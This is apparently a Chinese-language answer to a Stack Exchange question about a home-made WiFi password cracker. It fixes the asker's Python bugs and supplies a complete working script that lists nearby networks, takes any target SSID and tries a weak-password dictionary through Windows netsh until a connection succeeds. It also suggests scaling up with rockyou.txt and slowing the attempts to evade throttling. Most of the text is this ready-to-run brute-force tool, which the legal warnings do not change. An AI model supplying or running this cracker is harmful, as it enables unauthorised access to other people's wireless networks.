自制无Hashcat依赖WiFi暴力破解工具的理论可行性咨询及代码错误排查
WiFi暴力破解工具:可行性分析与代码修复
一、先解决你遇到的代码错误
你碰到的password isn't defined问题其实很直观——在password = random.choices(chars_list, k=(len(password)))这行里,你想获取password的长度,但这时候password还完全没被定义过,程序根本不知道它是什么,属于典型的变量未初始化错误。
除了这个,你的代码还有几个逻辑漏洞:
- 循环条件
while name != "Example name that no wifi will probably be"完全不合理,应该是持续尝试密码直到连接成功才停止 - 随机生成密码的效率极低,暴力破解通常优先用常用密码字典或者按字符顺序遍历,随机猜中密码的概率几乎可以忽略
- 你写的
if (password == list(password))完全多余,因为random.choices返回的本身就是列表,这行判断永远为真 - 传递给
createNewConnection的password是列表,但XML配置里需要字符串,运行时会直接报错
二、方案的理论可行性分析
理论上,这种通过系统命令尝试连接WiFi的暴力破解思路是可行的,但有几个关键限制必须清楚:
- 效率极低:如果目标WiFi用的是WPA2/WPA3加密,密码长度在8位以上,纯暴力遍历所有字符组合的时间可能长达几年甚至更久,只有密码是简单弱密码时才有机会成功
- 系统限制:Windows的
netsh wlan命令在频繁尝试连接时可能会被系统限流,而且每次添加配置、尝试连接的流程本身就很慢 - 合法性红线:未经允许破解他人WiFi是绝对的违法违规行为,会违反《网络安全法》等相关法律,严重的要承担刑事责任,只能在自己拥有完全权限的WiFi上做测试!
三、修正后的参考代码(仅用于合法测试)
下面是修复了错误、优化了逻辑的代码,改用常用弱密码字典来尝试(比随机生成高效得多):
import os import subprocess import time def create_new_connection(profile_name, ssid, password): # 生成适配WPA2-PSK的WLAN配置XML config = f"""<?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>{profile_name}</name> <SSIDConfig> <SSID> <name>{ssid}</name> </SSID> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>auto</connectionMode> <MSM> <security> <authEncryption> <authentication>WPA2PSK</authentication> <encryption>AES</encryption> <useOneX>false</useOneX> </authEncryption> <sharedKey> <keyType>passPhrase</keyType> <protected>false</protected> <keyMaterial>{password}</keyMaterial> </sharedKey> </security> </MSM> </WLANProfile>""" # 临时保存XML配置文件 xml_path = f"{profile_name}.xml" with open(xml_path, 'w', encoding='utf-8') as f: f.write(config) # 添加WiFi配置到系统 subprocess.run(f"netsh wlan add profile filename=\"{xml_path}\" interface=Wi-Fi", shell=True, capture_output=True) # 删除临时XML文件,避免堆积 os.remove(xml_path) def connect_to_wifi(profile_name, ssid): # 尝试连接目标WiFi result = subprocess.run(f"netsh wlan connect name=\"{profile_name}\" ssid=\"{ssid}\" interface=Wi-Fi", shell=True, capture_output=True, text=True) # 判断连接是否成功 if "successfully" in result.stdout.lower(): return True else: # 删除失败的配置文件,清理系统缓存 subprocess.run(f"netsh wlan delete profile name=\"{profile_name}\" interface=Wi-Fi", shell=True, capture_output=True) return False def display_available_networks(): # 列出当前可用的WiFi网络 subprocess.run("netsh wlan show networks interface=Wi-Fi", shell=True) if __name__ == "__main__": # 先展示可用WiFi display_available_networks() target_ssid = input("输入目标WiFi名称:").strip() # 常用弱密码字典(可以自行扩展或替换为专业字典文件) password_dict = [ "12345678", "123456789", "123456", "password", "11111111", "admin123", "1234567", "qwerty", "abc123", "1234" ] print(f"\n开始尝试破解WiFi:{target_ssid}") for idx, password in enumerate(password_dict, 1): print(f"正在尝试第{idx}个密码:{password}") profile_name = f"temp_{target_ssid}_{idx}" create_new_connection(profile_name, target_ssid, password) if connect_to_wifi(profile_name, target_ssid): print(f"✅ 破解成功!密码是:{password}") break # 增加短时间间隔,避免被系统限流 time.sleep(1) else: print(f"❌ 字典中的密码全部尝试失败,请更换密码字典或检查目标WiFi")
四、额外提醒
- 再次强调:这个代码仅适合测试自己的WiFi,严禁用于未经授权的网络
- 如果想要更高效率,可以把密码字典换成专业的字典文件(比如rockyou.txt),通过读取文件逐行尝试密码
- 若遇到系统频繁拒绝连接的情况,可以适当延长
time.sleep()的间隔时间
内容的提问来源于stack exchange,提问作者n0trad3an




